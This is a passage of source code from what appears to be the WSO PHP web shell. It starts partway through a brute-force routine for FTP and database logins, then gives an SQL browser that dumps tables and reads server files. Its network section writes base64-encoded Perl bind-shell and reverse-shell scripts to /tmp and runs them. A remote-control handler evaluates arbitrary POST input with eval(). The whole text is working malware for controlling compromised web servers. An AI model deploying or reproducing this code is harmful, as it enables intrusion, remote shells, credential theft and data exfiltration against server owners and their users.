1334 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1335 }
1336 }
1337 }
1338 } elseif($_POST['type'] == 2) {
1339 $temp = @file($_POST['dict']);
1340 if( is_array($temp) )
1341 foreach($temp as $line) {
1342 $line = trim($line);
1343 ++$attempts;
1344 if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1345 $success++;
1346 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1347 }
1348 }
1349 }
1350 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1351 }
1352 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1353 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1354 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1355 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1356 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1357 .'<span>Server:port</span></td>'
1358 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1359 .'<tr><td><span>Brute type</span></td>'
1360 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1361 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1362 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1363 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1364 .'<td><input type=text name=login value="root"></td></tr>'
1365 .'<tr><td><span>Dictionary</span></td>'
1366 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1367 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1368 echo '</div><br>';
1369 wsoFooter();
1370}
1371
1372function actionSql() {
1373 class DbClass {
1374 var $type;
1375 var $link;
1376 var $res;
1377 function DbClass($type) {
1378 $this->type = $type;
1379 }
1380 function connect($host, $user, $pass, $dbname){
1381 switch($this->type) {
1382 case 'mysql':
1383 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1384 break;
1385 case 'pgsql':
1386 $host = explode(':', $host);
1387 if(!$host[1]) $host[1]=5432;
1388 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1389 break;
1390 }
1391 return false;
1392 }
1393 function selectdb($db) {
1394 switch($this->type) {
1395 case 'mysql':
1396 if (@mysql_select_db($db))return true;
1397 break;
1398 }
1399 return false;
1400 }
1401 function query($str) {
1402 switch($this->type) {
1403 case 'mysql':
1404 return $this->res = @mysql_query($str);
1405 break;
1406 case 'pgsql':
1407 return $this->res = @pg_query($this->link,$str);
1408 break;
1409 }
1410 return false;
1411 }
1412 function fetch() {
1413 $res = func_num_args()?func_get_arg(0):$this->res;
1414 switch($this->type) {
1415 case 'mysql':
1416 return @mysql_fetch_assoc($res);
1417 break;
1418 case 'pgsql':
1419 return @pg_fetch_assoc($res);
1420 break;
1421 }
1422 return false;
1423 }
1424 function listDbs() {
1425 switch($this->type) {
1426 case 'mysql':
1427 return $this->query("SHOW databases");
1428 break;
1429 case 'pgsql':
1430 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1431 break;
1432 }
1433 return false;
1434 }
1435 function listTables() {
1436 switch($this->type) {
1437 case 'mysql':
1438 return $this->res = $this->query('SHOW TABLES');
1439 break;
1440 case 'pgsql':
1441 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1442 break;
1443 }
1444 return false;
1445 }
1446 function error() {
1447 switch($this->type) {
1448 case 'mysql':
1449 return @mysql_error();
1450 break;
1451 case 'pgsql':
1452 return @pg_last_error();
1453 break;
1454 }
1455 return false;
1456 }
1457 function setCharset($str) {
1458 switch($this->type) {
1459 case 'mysql':
1460 if(function_exists('mysql_set_charset'))
1461 return @mysql_set_charset($str, $this->link);
1462 else
1463 $this->query('SET CHARSET '.$str);
1464 break;
1465 case 'pgsql':
1466 return @pg_set_client_encoding($this->link, $str);
1467 break;
1468 }
1469 return false;
1470 }
1471 function loadFile($str) {
1472 switch($this->type) {
1473 case 'mysql':
1474 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1475 break;
1476 case 'pgsql':
1477 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1478 $r=array();
1479 while($i=$this->fetch())
1480 $r[] = $i['file'];
1481 $this->query('drop table wso2');
1482 return array('file'=>implode("\n",$r));
1483 break;
1484 }
1485 return false;
1486 }
1487 function dump($table, $fp = false) {
1488 switch($this->type) {
1489 case 'mysql':
1490 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1491 $create = mysql_fetch_array($res);
1492 $sql = $create[1].";\n";
1493 if($fp) fwrite($fp, $sql); else echo($sql);
1494 $this->query('SELECT * FROM `'.$table.'`');
1495 $i = 0;
1496 $head = true;
1497 while($item = $this->fetch()) {
1498 $sql = '';
1499 if($i % 1000 == 0) {
1500 $head = true;
1501 $sql = ";\n\n";
1502 }
1503
1504 $columns = array();
1505 foreach($item as $k=>$v) {
1506 if($v === null)
1507 $item[$k] = "NULL";
1508 elseif(is_int($v))
1509 $item[$k] = $v;
1510 else
1511 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1512 $columns[] = "`".$k."`";
1513 }
1514 if($head) {
1515 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1516 $head = false;
1517 } else
1518 $sql .= "\n\t,(".implode(", ", $item).')';
1519 if($fp) fwrite($fp, $sql); else echo($sql);
1520 $i++;
1521 }
1522 if(!$head)
1523 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1524 break;
1525 case 'pgsql':
1526 $this->query('SELECT * FROM '.$table);
1527 while($item = $this->fetch()) {
1528 $columns = array();
1529 foreach($item as $k=>$v) {
1530 $item[$k] = "'".addslashes($v)."'";
1531 $columns[] = $k;
1532 }
1533 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1534 if($fp) fwrite($fp, $sql); else echo($sql);
1535 }
1536 break;
1537 }
1538 return false;
1539 }
1540 };
1541 $db = new DbClass($_POST['type']);
1542 if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
1543 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1544 $db->selectdb($_POST['sql_base']);
1545 switch($_POST['charset']) {
1546 case "Windows-1251": $db->setCharset('cp1251'); break;
1547 case "UTF-8": $db->setCharset('utf8'); break;
1548 case "KOI8-R": $db->setCharset('koi8r'); break;
1549 case "KOI8-U": $db->setCharset('koi8u'); break;
1550 case "cp866": $db->setCharset('cp866'); break;
1551 }
1552 if(empty($_POST['file'])) {
1553 ob_start("ob_gzhandler", 4096);
1554 header("Content-Disposition: attachment; filename=dump.sql");
1555 header("Content-Type: text/plain");
1556 foreach($_POST['tbl'] as $v)
1557 $db->dump($v);
1558 exit;
1559 } elseif($fp = @fopen($_POST['file'], 'w')) {
1560 foreach($_POST['tbl'] as $v)
1561 $db->dump($v, $fp);
1562 fclose($fp);
1563 unset($_POST['p2']);
1564 } else
1565 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1566 }
1567 wsoHeader();
1568 echo "
1569<h1>Sql browser</h1><div class=content>
1570<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1571<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1572<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1573<td><select name='type'><option value='mysql' ";
1574 if(@$_POST['type']=='mysql')echo 'selected';
1575echo ">MySql</option><option value='pgsql' ";
1576if(@$_POST['type']=='pgsql')echo 'selected';
1577echo ">PostgreSql</option></select></td>
1578<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1579<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1580<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1581 $tmp = "<input type=text name=sql_base value=''>";
1582 if(isset($_POST['sql_host'])){
1583 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1584 switch($_POST['charset']) {
1585 case "Windows-1251": $db->setCharset('cp1251'); break;
1586 case "UTF-8": $db->setCharset('utf8'); break;
1587 case "KOI8-R": $db->setCharset('koi8r'); break;
1588 case "KOI8-U": $db->setCharset('koi8u'); break;
1589 case "cp866": $db->setCharset('cp866'); break;
1590 }
1591 $db->listDbs();
1592 echo "<select name=sql_base><option value=''></option>";
1593 while($item = $db->fetch()) {
1594 list($key, $value) = each($item);
1595 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1596 }
1597 echo '</select>';
1598 }
1599 else echo $tmp;
1600 }else
1601 echo $tmp;
1602 echo "</td>
1603 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1604 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1605 </tr>
1606 </table>
1607 <script>
1608 s_db='".@addslashes($_POST['sql_base'])."';
1609 function fs(f) {
1610 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1611 if(f.p1) f.p1.value='';
1612 if(f.p2) f.p2.value='';
1613 if(f.p3) f.p3.value='';
1614 }
1615 }
1616 function st(t,l) {
1617 d.sf.p1.value = 'select';
1618 d.sf.p2.value = t;
1619 if(l && d.sf.p3) d.sf.p3.value = l;
1620 d.sf.submit();
1621 }
1622 function is() {
1623 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1624 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1625 }
1626 </script>";
1627 if(isset($db) && $db->link){
1628 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1629 if(!empty($_POST['sql_base'])){
1630 $db->selectdb($_POST['sql_base']);
1631 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1632 $tbls_res = $db->listTables();
1633 while($item = $db->fetch($tbls_res)) {
1634 list($key, $value) = each($item);
1635 if(!empty($_POST['sql_count']))
1636 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1637 $value = htmlspecialchars($value);
1638 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1639 }
1640 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1641 if(@$_POST['p1'] == 'select') {
1642 $_POST['p1'] = 'query';
1643 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1644 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1645 $num = $db->fetch();
1646 $pages = ceil($num['n'] / 30);
1647 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1648 echo " of $pages";
1649 if($_POST['p3'] > 1)
1650 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1651 if($_POST['p3'] < $pages)
1652 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1653 $_POST['p3']--;
1654 if($_POST['type']=='pgsql')
1655 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1656 else
1657 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1658 echo "<br><br>";
1659 }
1660 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1661 $db->query(@$_POST['p2']);
1662 if($db->res !== false) {
1663 $title = false;
1664 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1665 $line = 1;
1666 while($item = $db->fetch()) {
1667 if(!$title) {
1668 echo '<tr>';
1669 foreach($item as $key => $value)
1670 echo '<th>'.$key.'</th>';
1671 reset($item);
1672 $title=true;
1673 echo '</tr><tr>';
1674 $line = 2;
1675 }
1676 echo '<tr class="l'.$line.'">';
1677 $line = $line==1?2:1;
1678 foreach($item as $key => $value) {
1679 if($value == null)
1680 echo '<td><i>null</i></td>';
1681 else
1682 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1683 }
1684 echo '</tr>';
1685 }
1686 echo '</table>';
1687 } else {
1688 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1689 }
1690 }
1691 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1692 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1693 echo htmlspecialchars($_POST['p2']);
1694 echo "</textarea><br/><input type=submit value='Execute'>";
1695 echo "</td></tr>";
1696 }
1697 echo "</table></form><br/>";
1698 if($_POST['type']=='mysql') {
1699 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1700 if($db->fetch())
1701 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1702 }
1703 if(@$_POST['p1'] == 'loadfile') {
1704 $file = $db->loadFile($_POST['p2']);
1705 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1706 }
1707 } else {
1708 echo htmlspecialchars($db->error());
1709 }
1710 echo '</div>';
1711 wsoFooter();
1712}
1713function actionNetwork() {
1714 wsoHeader();
1715 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1716 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1717 echo "<h1>Network tools</h1><div class=content>
1718 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1719 <span>Bind port to /bin/sh [perl]</span><br/>
1720 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1721 </form>
1722 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1723 <span>Back-connect [perl]</span><br/>
1724 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1725 </form><br>";
1726 if(isset($_POST['p1'])) {
1727 function cf($f,$t) {
1728 $w = @fopen($f,"w") or @function_exists('file_put_contents');
1729 if($w){
1730 @fwrite($w,@base64_decode($t));
1731 @fclose($w);
1732 }
1733 }
1734 if($_POST['p1'] == 'bpp') {
1735 cf("/tmp/bp.pl",$bind_port_p);
1736 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1737 sleep(1);
1738 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1739 unlink("/tmp/bp.pl");
1740 }
1741 if($_POST['p1'] == 'bcp') {
1742 cf("/tmp/bc.pl",$back_connect_p);
1743 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1744 sleep(1);
1745 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1746 unlink("/tmp/bc.pl");
1747 }
1748 }
1749 echo '</div>';
1750 wsoFooter();
1751}
1752function actionRC() {
1753 if(!@$_POST['p1']) {
1754 $a = array(
1755 "uname" => php_uname(),
1756 "php_version" => phpversion(),
1757 "wso_version" => WSO_VERSION,
1758 "safemode" => @ini_get('safe_mode')
1759 );
1760 echo serialize($a);
1761 } else {
1762 eval($_POST['p1']);
1763 }
1764}
1765if( empty($_POST['a']) )
1766 if(isset($default_action) && function_exists('action' . $default_action))
1767 $_POST['a'] = $default_action;
1768 else
1769 $_POST['a'] = 'SecInfo';
1770if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1771 call_user_func('action' . $_POST['a']);
1772exit;